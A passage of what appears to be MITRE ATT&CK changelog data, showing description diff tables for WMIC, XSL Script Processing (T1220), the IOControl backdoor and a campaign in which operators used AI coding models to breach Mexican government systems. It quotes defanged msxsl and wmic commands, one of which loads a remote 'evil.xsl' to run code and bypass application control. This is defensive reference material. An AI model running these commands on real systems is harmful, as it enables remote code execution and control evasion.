| > | of January of 2024, with the WMIC feature being \u201cdisabled by | > | f January of 2024, with the WMIC feature being \u201cdisabled by | ||
| > | default\u201d on Windows 11+. WMIC will be removed from subseque | > | default\u201d on Windows 11+. WMIC will be removed from subsequen | ||
| > | nt Windows releases and replaced by [PowerShell](https://att | > | t Windows releases and replaced by [PowerShell](https://atta | ||
| > | ack.mitre.org/techniques/T1059/001) as the primary WMI inter | > | ck.mitre.org/techniques/T1059/001) as the primary WMI interf | ||
| > | face.(Citation: WMI 7,8) In addition to PowerShell and tools | > | ace.(Citation: WMI 7,8) In addition to PowerShell and tools | ||
| > | like `wbemtool.exe`, COM APIs can also be used to programma | > | like `wbemtool.exe`, COM APIs can also be used to programmat | ||
| > | tically interact with WMI via C++, .NET, VBScript, etc.(Cita | > | ically interact with WMI via C++, .NET, VBScript, etc.(Citat | ||
| > | tion: WMI 7,8) | > | ion: WMI 7,8) |
msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1220",
"external_id": "T1220"
},
{
"source_name": "Reaqta MSXSL Spearphishing MAR 2018",
"description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.",
"url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/"
},
{
"source_name": "LOLBAS Wmic",
"description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/"
},
{
"source_name": "Microsoft msxsl.exe",
"description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.",
"url": "https://web.archive.org/web/20190508171106/https://www.microsoft.com/en-us/download/details.aspx?id=21714"
},
{
"source_name": "Penetration Testing Lab MSXSL July 2017",
"description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.",
"url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/"
},
{
"source_name": "XSL Bypass Mar 2019",
"description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.",
"url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"
},
{
"source_name": "Microsoft XSLT Script Mar 2017",
"description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using msxsl.exe customers[.]xml script[.]xsl\\n* msxsl.exe script[.]xsl script[.]xsl\\n* msxsl.exe script[.]jpeg script[.]jpeg\\n\\nAnother variation of this technique, dubbed \\u201cSquiblytwo\\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \\\"Squiblydoo\\\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\\n\\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\\n\\n* Local File: wmic process list /FORMAT:evil[.]xsl\\n* Remote File: wmic os get /FORMAT:\\u201dhttps[:]//example[.]com/evil[.]xsl\\u201d\", \"old_value\": \"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\\n\\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\\n\\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\\n\\n* msxsl.exe customers[.]xml script[.]xsl\\n* msxsl.exe script[.]xsl script[.]xsl\\n* msxsl.exe script[.]jpeg script[.]jpeg\\n\\nAnother variation of this technique, dubbed \\u201cSquiblytwo\\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \\\"Squiblydoo\\\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\\n\\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\\n\\n* Local File: wmic process list /FORMAT:evil[.]xsl\\n* Remote File: wmic os get /FORMAT:\\u201dhttps[:]//example[.]com/evil[.]xsl\\u201d\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\\n+Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.(Citation: Microsoft XSLT Script Mar 2017)\\n \\n-Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\\n+Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe)(Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files.(Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files.(Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\\n \\n Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\\n \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bypass application control and obscure execu | t | 1 | Adversaries may bypass application control and obscure execu |
| > | tion of code by embedding scripts inside XSL files. Extensib | > | tion of code by embedding scripts inside XSL files. Extensib | ||
| > | le Stylesheet Language (XSL) files are commonly used to desc | > | le Stylesheet Language (XSL) files are commonly used to desc | ||
| > | ribe the processing and rendering of data within XML files. | > | ribe the processing and rendering of data within XML files. | ||
| > | To support complex operations, the XSL standard includes sup | > | To support complex operations, the XSL standard includes sup | ||
| > | port for embedded scripting in various languages. (Citation: | > | port for embedded scripting in various languages.(Citation: | ||
| > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | ||
| > | functionality to execute arbitrary files while potentially | > | functionality to execute arbitrary files while potentially b | ||
| > | bypassing application control. Similar to [Trusted Developer | > | ypassing application control. Similar to [Trusted Developer | ||
| > | Utilities Proxy Execution](https://attack.mitre.org/techniq | > | Utilities Proxy Execution](https://attack.mitre.org/techniqu | ||
| > | ues/T1127), the Microsoft common line transformation utility | > | es/T1127), the Microsoft common line transformation utility | ||
| > | binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be i | > | binary (msxsl.exe)(Citation: Microsoft msxsl.exe) can be ins | ||
| > | nstalled and used to execute malicious JavaScript embedded w | > | talled and used to execute malicious JavaScript embedded wit | ||
| > | ithin local or remote (URL referenced) XSL files. (Citation: | > | hin local or remote (URL referenced) XSL files.(Citation: Pe | ||
| > | Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is | > | netration Testing Lab MSXSL July 2017) Since msxsl.exe is no | ||
| > | not installed by default, an adversary will likely need to | > | t installed by default, an adversary will likely need to pac | ||
| > | package it with dropped files. (Citation: Reaqta MSXSL Spear | > | kage it with dropped files.(Citation: Reaqta MSXSL Spearphis | ||
| > | phishing MAR 2018) Msxsl.exe takes two main arguments, an XM | > | hing MAR 2018) Msxsl.exe takes two main arguments, an XML so | ||
| > | L source file and an XSL stylesheet. Since the XSL file is v | > | urce file and an XSL stylesheet. Since the XSL file is valid | ||
| > | alid XML, the adversary may call the same XSL file twice. Wh | > | XML, the adversary may call the same XSL file twice. When u | ||
| > | en using msxsl.exe adversaries may also give the XML/XSL fil | > | sing msxsl.exe adversaries may also give the XML/XSL files a | ||
| > | es an arbitrary file extension.(Citation: XSL Bypass Mar 201 | > | n arbitrary file extension.(Citation: XSL Bypass Mar 2019) | ||
| > | 9) Command-line examples:(Citation: Penetration Testing Lab | > | Command-line examples:(Citation: Penetration Testing Lab MSX | ||
| > | MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>ms | > | SL July 2017)(Citation: XSL Bypass Mar 2019) * <code>msxsl. | ||
| > | xsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.ex | > | exe customers[.]xml script[.]xsl</code> * <code>msxsl.exe sc | ||
| > | e script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[ | > | ript[.]xsl script[.]xsl</code> * <code>msxsl.exe script[.]jp | ||
| > | .]jpeg script[.]jpeg</code> Another variation of this techn | > | eg script[.]jpeg</code> Another variation of this technique | ||
| > | ique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Managemen | > | , dubbed \u201cSquiblytwo\u201d, involves using [Windows Management In | ||
| > | t Instrumentation](https://attack.mitre.org/techniques/T1047 | > | strumentation](https://attack.mitre.org/techniques/T1047) to | ||
| > | ) to invoke JScript or VBScript within an XSL file.(Citation | > | invoke JScript or VBScript within an XSL file.(Citation: LO | ||
| > | : LOLBAS Wmic) This technique can also execute local/remote | > | LBAS Wmic) This technique can also execute local/remote scri | ||
| > | scripts and, similar to its [Regsvr32](https://attack.mitre. | > | pts and, similar to its [Regsvr32](https://attack.mitre.org/ | ||
| > | org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverag | > | techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a | ||
| > | es a trusted, built-in Windows tool. Adversaries may abuse a | > | trusted, built-in Windows tool. Adversaries may abuse any a | ||
| > | ny alias in [Windows Management Instrumentation](https://att | > | lias in [Windows Management Instrumentation](https://attack. | ||
| > | ack.mitre.org/techniques/T1047) provided they utilize the /F | > | mitre.org/techniques/T1047) provided they utilize the /FORMA | ||
| > | ORMAT switch.(Citation: XSL Bypass Mar 2019) Command-line e | > | T switch.(Citation: XSL Bypass Mar 2019) Command-line examp | ||
| > | xamples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmi | > | les:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) | ||
| > | c) * Local File: <code>wmic process list /FORMAT:evil[.]xsl | > | * Local File: <code>wmic process list /FORMAT:evil[.]xsl</co | ||
| > | </code> * Remote File: <code>wmic os get /FORMAT:\u201dhttps[:]// | > | de> * Remote File: <code>wmic os get /FORMAT:\u201dhttps[:]//exam | ||
| > | example[.]com/evil[.]xsl\u201d</code> | > | ple[.]com/evil[.]xsl\u201d</code> |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | IOControl is a malware that targeted Linux ARM-based IoT/OT | t | 1 | [IOControl](https://attack.mitre.org/software/S9046) is a Li |
| > | devices including Hikvision IP cameras, D-Link firewalls and | > | nux backdoor compiled for 32-bit ARM devices that has been u | ||
| > | routers, Unitronics PLCs and HMIs, Orpak and Gasboy fuel ma | > | sed to target IoT and OT devices in Israel and the United St | ||
| > | nagement systems, and Baicells LTE controllers across the Un | > | ates, including IP cameras, routers, firewalls, PLCs, HMIs, | ||
| > | ited States and Israel. The malware has been attributed to [ | > | and Orpak and Gasboy fuel management systems. Affected vendo | ||
| > | CyberAv3ngers](https://attack.mitre.org/groups/G1027) which | > | rs include Baicells, D-Link, Hikvision, Phoenix Contact, Red | ||
| > | is suspected to be affiliated with the Iranian Government Is | > | Lion, Teltonika, and Unitronics. [IOControl](https://attack | ||
| > | lamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IO | > | .mitre.org/software/S9046) has been used by [CyberAv3ngers]( | ||
| > | CONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Arm | > | https://attack.mitre.org/groups/G1027) which is suspected to | ||
| > | is-IOCONTROL) | > | be affiliated with the Iranian Government Islamic Revolutio | ||
| > | nary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citati | ||||
| > | on: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | The [AI-Assisted Breach of Mexico's Government Infrastructur | t | 1 | The [AI-Assisted Breach of Mexico's Government Infrastructur |
| > | e](https://attack.mitre.org/campaigns/C0064) is a campaign w | > | e](https://attack.mitre.org/campaigns/C0064) is a campaign w | ||
| > | here human operators used Claude Code AI and OpenAI GPT GPT- | > | here human operators used Claude Code AI and OpenAI GPT GPT- | ||
| > | 4.1 AI to perform reconnaissance, vulnerability exploitation | > | 4.1 AI to perform reconnaissance, vulnerability exploitation | ||
| > | , privilege escalation, discovery, credential harvesting, an | > | , privilege escalation, discovery, credential harvesting, an | ||
| > | d exfiltration operations. The attack impacted several Mexic | > | d exfiltration operations. The attack impacted several Mexic | ||
| > | an government institutions including the Federal Tax Authori | > | an government institutions including the Federal Tax Authori | ||
| > | ty (Servicio de Administracion Tributaria), Mexico State Gov | > | ty (Servicio de Administracion Tributaria), Mexico State Gov | ||
| > | ernment (Estado de Mexico), Mexico City Civil Registry (Regi | > | ernment (Estado de Mexico), Mexico City Civil Registry (Regi | ||
| > | stro Civil de CDMX), Jalisco State Government, National Elec | > | stro Civil de CDMX), Jalisco State Government, National Elec | ||
| > | toral Institute (Instituto Nacional Electoral), Michoacan St | > | toral Institute (Instituto Nacional Electoral), Michoacan St | ||
| > | ate Government, SADM Monterrey Municipal Water Utility (Agua | > | ate Government, SADM Monterrey Municipal Water Utility (Agua | ||
| > | y Drenaje), Tamaulipas State Government, and the Mexico Cit | > | y Drenaje), Tamaulipas State Government, and the Mexico Cit | ||
| > | y Health Department (Salud CDMX). The attack resulted in the | > | y Health Department (Salud CDMX). The attack resulted in the | ||
| > | theft of large amounts of sensitive government data and civ | > | theft of large amounts of sensitive government data and civ | ||
| > | ilian records. Please note that due to the breadth of this c | > | ilian records. (Citation: AI-Mexico-Govt-Compromise) | ||
| > | ampaign, public reporting only provides select details and a | ||||
| > | s a result this campaign should not be considered comprehens | ||||
| > | ive.(Citation: AI-Mexico-Govt-Compromise) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | IOControl is a malware that targeted Linux ARM-based IoT/OT | t | 1 | [IOControl](https://attack.mitre.org/software/S9046) is a Li |
| > | devices including Hikvision IP cameras, D-Link firewalls and | > | nux backdoor compiled for 32-bit ARM devices that has been u | ||
| > | routers, Unitronics PLCs and HMIs, Orpak and Gasboy fuel ma | > | sed to target IoT and OT devices in Israel and the United St | ||
| > | nagement systems, and Baicells LTE controllers across the Un | > | ates, including IP cameras, routers, firewalls, PLCs, HMIs, | ||
| > | ited States and Israel. The malware has been attributed to [ | > | and Orpak and Gasboy fuel management systems. Affected vendo | ||
| > | CyberAv3ngers](https://attack.mitre.org/groups/G1027) which | > | rs include Baicells, D-Link, Hikvision, Phoenix Contact, Red | ||
| > | is suspected to be affiliated with the Iranian Government Is | > | Lion, Teltonika, and Unitronics. [IOControl](https://attack | ||
| > | lamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IO | > | .mitre.org/software/S9046) has been used by [CyberAv3ngers]( | ||
| > | CONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Arm | > | https://attack.mitre.org/groups/G1027) which is suspected to | ||
| > | is-IOCONTROL) | > | be affiliated with the Iranian Government Islamic Revolutio | ||
| > | nary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citati | ||||
| > | on: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | The [AI-Assisted Breach of Mexico's Government Infrastructur | t | 1 | The [AI-Assisted Breach of Mexico's Government Infrastructur |
| > | e](https://attack.mitre.org/campaigns/C0064) is a campaign w | > | e](https://attack.mitre.org/campaigns/C0064) is a campaign w | ||
| > | here human operators used Claude Code AI and OpenAI GPT GPT- | > | here human operators used Claude Code AI and OpenAI GPT GPT- | ||
| > | 4.1 AI to perform reconnaissance, vulnerability exploitation | > | 4.1 AI to perform reconnaissance, vulnerability exploitation | ||
| > | , privilege escalation, discovery, credential harvesting, an | > | , privilege escalation, discovery, credential harvesting, an | ||
| > | d exfiltration operations. The attack impacted several Mexic | > | d exfiltration operations. The attack impacted several Mexic | ||
| > | an government institutions including the Federal Tax Authori | > | an government institutions including the Federal Tax Authori | ||
| > | ty (Servicio de Administracion Tributaria), Mexico State Gov | > | ty (Servicio de Administracion Tributaria), Mexico State Gov | ||
| > | ernment (Estado de Mexico), Mexico City Civil Registry (Regi | > | ernment (Estado de Mexico), Mexico City Civil Registry (Regi | ||
| > | stro Civil de CDMX), Jalisco State Government, National Elec | > | stro Civil de CDMX), Jalisco State Government, National Elec | ||
| > | toral Institute (Instituto Nacional Electoral), Michoacan St | > | toral Institute (Instituto Nacional Electoral), Michoacan St | ||
| > | ate Government, SADM Monterrey Municipal Water Utility (Agua | > | ate Government, SADM Monterrey Municipal Water Utility (Agua | ||
| > | y Drenaje), Tamaulipas State Government, and the Mexico Cit | > | y Drenaje), Tamaulipas State Government, and the Mexico Cit | ||
| > | y Health Department (Salud CDMX). The attack resulted in the | > | y Health Department (Salud CDMX). The attack resulted in the | ||
| > | theft of large amounts of sensitive government data and civ | > | theft of large amounts of sensitive government data and civ | ||
| > | ilian records. Please note that due to the breadth of this c | > | ilian records. (Citation: AI-Mexico-Govt-Compromise) | ||
| > | ampaign, public reporting only provides select details and a | ||||
| > | s a result this campaign should not be considered comprehens | ||||
| > | ive.(Citation: AI-Mexico-Govt-Compromise) |